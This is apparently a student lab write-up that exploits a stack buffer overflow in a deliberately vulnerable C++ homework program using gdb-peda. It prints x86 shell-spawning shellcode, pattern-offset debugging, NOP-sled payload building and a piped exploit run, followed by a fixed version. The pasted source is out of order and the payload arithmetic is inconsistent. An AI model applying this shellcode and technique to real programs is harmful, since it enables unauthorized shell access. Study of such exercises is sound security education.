# Stack Overflow Exploitation Using Bash Script

## Bailey Williams

### 1. Compile (as it is) the given StackOverflowHW.cpp source using g++ as x86 Linux program using compile.sh.

```
(base) ┌──(kali㉿x86_64-conda-linux-gnu)-[~/Desktop/SystemSecurity]
└─$ input="StackOverflowHW.cpp"

(base) ┌──(kali㉿x86_64-conda-linux-gnu)-[~/Desktop/SystemSecurity]
└─$ output=StackOverflowHW.exe

(base) ┌──(kali㉿x86_64-conda-linux-gnu)-[~/Desktop/SystemSecurity]
└─$ echo kali | sudo -S ./compile.sh $input $output

(base) ┌──(kali㉿x86_64-conda-linux-gnu)-[~/Desktop/SystemSecurity]
└─$ ./StackOverflowHW.exe
buffer is at 0xffffc094
Give me some text: Hello World!
Acknowledged: Hello World! with length 12
Good bye!
```

### 2. Get information needed to execute remote root shellcode to exploit the program manually.

Use gdb to get needed information.

- Buffer: 312 bytes
- Shellcode: 24 bytes
  - "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
- NOP: 312 - 24 = 288 bytes
- Return Address: 4 bytes
- Total Length of Payload: 316 bytes

```
(base) ┌──(kali㉿x86_64-conda-linux-gnu)-[~/Desktop/SystemSecurity]
└─$ gdb -q StackOverflowHW.exe
Reading symbols from StackOverflowHW.exe...
gdb-peda$ pattern arg 400
Set 1 arguments to program
gdb-peda$ run
Starting program: /home/kali/Desktop/SystemSecurity/StackOverflowHW.exe 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AA
AA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA
4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%Y
buffer is at 0xffffbe94
Give me some text: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AA
AAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA
PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y
Acknowledged: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAg
UAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%
%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y with length 400

Program received signal SIGSEGV, Segmentation fault.
[──────────────────────────────────registers──────────────────────────────────]
EAX: 0xf7fa4c40 ──> 0xf7fa1970 ──> 0xf7e9cf40 (<_ZNSoD1Ev>:    push   ebx)
EBX: 0x6825414c ('LA%h')
ECX: 0x6c0
EDX: 0xf7fa1970 ──> 0xf7e9cf40 (<_ZNSoD1Ev>:    push   ebx)
ESI: 0x41372541 ('A%7A')
EDI: 0x8049100 (<_start>:       xor    ebp,ebp)
EBP: 0x25414d25 ('%MA%')
ESP: 0xffffbfd0 ("A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
EIP: 0x38254169 ('iA%8')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[───────────────────────────────────code───────────────────────────────────]
Invalid $PC address: 0x38254169
[────────────────────────────────────stack────────────────────────────────────]
0000| 0xffffbfd0 ("A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0004| 0xffffbfd4 ("%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0008| 0xffffbfd8 ("9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0012| 0xffffbfdc ("A%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0016| 0xffffbfe0 ("%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0020| 0xffffbfe4 ("lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0024| 0xffffbfe8 ("A%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0028| 0xffffbfec ("%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
[──────────────────────────────────────────────────────────────────────────]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x38254169 in ?? ()
gdb-peda$
```

Finding the offset.

```
gdb-peda$ patts
Registers contain pattern buffer:
EBX+0 found at offset: 300
EBP+0 found at offset: 308
ESI+0 found at offset: 304
EIP+0 found at offset: 312
Registers point to pattern buffer:
[ESP] --> offset 316 - size ~84
Pattern buffer found at:
0x08051bbe : offset    0 - size  400 ([heap])
0x08051fc0 : offset    0 - size  400 ([heap])
0xf7b900cd : offset 33208 - size    4 (/usr/lib/i386-linux-gnu/libm-2.33.so)
0xffffbe94 : offset    0 - size  400 ($sp + -0x13c [-79 dwords])
0xffffc36f : offset    0 - size  400 ($sp + 0x39f [231 dwords])
References to pattern buffer found at:
0xf7d7c58c : 0x08051fc0 (/usr/lib/i386-linux-gnu/libc-2.33.so)
0xf7d7c590 : 0x08051fc0 (/usr/lib/i386-linux-gnu/libc-2.33.so)
0xf7d7c594 : 0x08051fc0 (/usr/lib/i386-linux-gnu/libc-2.33.so)
0xf7d7c598 : 0x08051fc0 (/usr/lib/i386-linux-gnu/libc-2.33.so)
0xf7d7c59c : 0x08051fc0 (/usr/lib/i386-linux-gnu/libc-2.33.so)
0xffffb9b4 : 0xffffbe94 ($sp + -0x61c [-391 dwords])
0xf7e011fd : 0xffffc36f (/usr/lib/i386-linux-gnu/libstdc++.so.6.0.30)
0xffffc0a8 : 0xffffc36f ($sp + 0xd8 [54 dwords])
gdb-peda$
```

Testing string length of 316.

```
gdb-peda$ run
Starting program: /home/kali/Desktop/SystemSecurity/StackOverflowHW.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
buffer is at 0xffffbef4
Give me some text: AAAAAAAAAAAAAAAAAAAA
```

```
gdb-peda$ run
Starting program: /home/kali/Desktop/SystemSecurity/StackOverflowHW.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
buffer is at 0xffffbef4
Give me some text: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Acknowledged: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xf7fa4c40 --> 0xf7fa1970 --> 0xf7e9cf40 (<_ZNSoD1Ev>:     push   ebx)
EBX: 0x41414141 ('AAAA')
ECX: 0x6c0
EDX: 0xf7fa1970 --> 0xf7e9cf40 (<_ZNSoD1Ev>:     push   ebx)
ESI: 0x41414141 ('AAAA')
EDI: 0x8049100 (<_start>:       xor    ebp,ebp)
EBP: 0x41414141 ('AAAA')
ESP: 0xffffc030 --> 0x2
EIP: 0x8049400 (<main(int, char**)+33>: dec    DWORD PTR [ecx-0x137c0bbb])
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x8049400 <main(int, char**)+33>:    dec    DWORD PTR [ecx-0x137c0bbb]
   0x8049406 <main(int, char**)+39>:    add    al,0xff
   0x8049408 <main(int, char**)+41>:    jne    0x80493fe <main(int, char**)+31>
   0x804940a <main(int, char**)+43>:    push   DWORD PTR [ebp-0xc]
[------------------------------------stack-------------------------------------]
0000| 0xffffc030 --> 0x2
0004| 0xffffc034 --> 0xffffc104 --> 0xffffc395 ("/home/kali/Desktop/SystemSecurity/StackOverflowHW.exe")
0008| 0xffffc038 --> 0xffffc110 --> 0xffffc500 ("COLORFGBG=15;0")
0012| 0xffffc03c --> 0x3e8
0016| 0xffffc040 --> 0xffffc060 --> 0x2
0020| 0xffffc044 --> 0x0
0024| 0xffffc048 --> 0x0
0028| 0xffffc04c --> 0xf7baf905 (<__libc_start_main+229>:       add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x08049400 in main () at StackOverflowHW.cpp:64
64        gid_t gid = getegid();
```

Finding the Return Address.

```
gdb-peda$
0xffffc3b0:     0x69727563      0x532f7974      0x6b636174      0x7265764f
0xffffc3c0:     0x776f6c66      0x652e5748      0x41006578      0x41414141
0xffffc3d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffc3e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffc3f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffc400:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffc410:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffc420:     0x41414141      0x41414141      0x41414141      0x41414141
gdb-peda$
0xffffc430:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffc440:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffc450:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffc460:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffc470:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffc480:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffc490:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffc4a0:     0x41414141      0x41414141      0x41414141      0x41414141
gdb-peda$
0xffffc4b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffc4c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffc4d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffc4e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffc4f0:     0x41414141      0x41414141      0x41414141      0x00414141
0xffffc500:     0x4f4c4f43      0x42474652      0x35313d47      0x4300303b
0xffffc510:     0x524f4c4f      0x4d524554      0x7572743d      0x6c6f6365
0xffffc520:     0x4300726f      0x414d4d4f      0x4e5f444e      0x465f544f
gdb-peda$
```

Creating the payload.bin

In [18]:
```
print(316-24)
```

```
292
```

In [19]:
```
print(292-20)
```

```
272
```

In [20]:
```
! python -c 'import sys; sys.stdout.buffer.write(b"\x90"*272)' > payload.bin
```

In [21]:
```
! cat shellcode_py3.bin >> payload.bin
```

In [22]:
```
! wc -c payload.bin
```

```
     296 payload.bin
```

```
(base) ┌──(kali㉿x86_64-conda-linux-gnu)-[~/Desktop/SystemSecurity]
└─$ ./so_arg.exe $(python3 -c 'print("A"*316, end="")')
buffer is at 0×ffd131a0
buffer contains:
AAAA
```

Exploited Program

```
(base) ┌──(kali㉿x86_64-conda-linux-gnu)-[~/Desktop/SystemSecurity]
└─$ cat payload.bin - | ./StackOverflowHW.exe
buffer is at 0×ffcdbc34
Give me some text:
Acknowledged: ◆◆◆
```

```
  }

  int count=(BUFSIZE-1);
  /* now read the rest until \n or EOF */
  while (count != 0)
  {
    ch = getchar();
    if (ch == '\n' or ch == EOF)
      break;
    *(++ptr) = ch;
    count--;
  }
  *(++ptr) = 0;
  return dst;
}

void bad()
{
  char buffer[BUFSIZE];
  printf("buffer is at %p\n", buffer);
  cout << "Give me some text: ";
  fflush(stdout);
  mgets(buffer); // similar to C's gets();
  //gets(buffer); // depricated
  cout << "Acknowledged: " << buffer << " with length " << strlen(buffer) << e
ndl;
}

int main(int argc, char *argv[])
{
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  bad();
  cout << "Good bye!\n";
  return 0;
}#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <iostream>
using namespace std;

#define BUFSIZE 300

//using namespace std;

void give_shell()
{
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
```

```
  system("/bin/sh");
}

char *mgets(char *dst)
{
  char *ptr = dst;

  int ch;
  /* skip leading white spaces */
  while ((ch = getchar()) && (ch == ' ' or ch == '\t'));

  if ((ch == '\n') or (ch == EOF)){
    *ptr = '\0';
    return dst;
  }
  else{
     *ptr = ch;
  }

  int count=(BUFSIZE-1);
  /* now read the rest until \n or EOF */
  while (count != 0)
  {
    ch = getchar();
    if (ch == '\n' or ch == EOF)
      break;
    *(++ptr) = ch;
    count--;
  }
  *(++ptr) = 0;
  return dst;
}

void bad()
{
  char buffer[BUFSIZE];
  printf("buffer is at %p\n", buffer);
  cout << "Give me some text: ";
  fflush(stdout);
  mgets(buffer); // similar to C's gets();
  //gets(buffer); // depricated
  cout << "Acknowledged: " << buffer << " with length " << strlen(buffer) << e
ndl;
}

int main(int argc, char *argv[])
{
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  bad();
  cout << "Good bye!\n";
  return 0;
}
```

```
(base) ┌──(kali㉿x86_64-conda-linux-gnu)-[~/Desktop/SystemSecurity]
└─$ python -c "print('A'*301)" | ./StackOverflowHW_fixed.exe
buffer is at 0×ffcb9964
Give me some text: Acknowledged: AAAA
```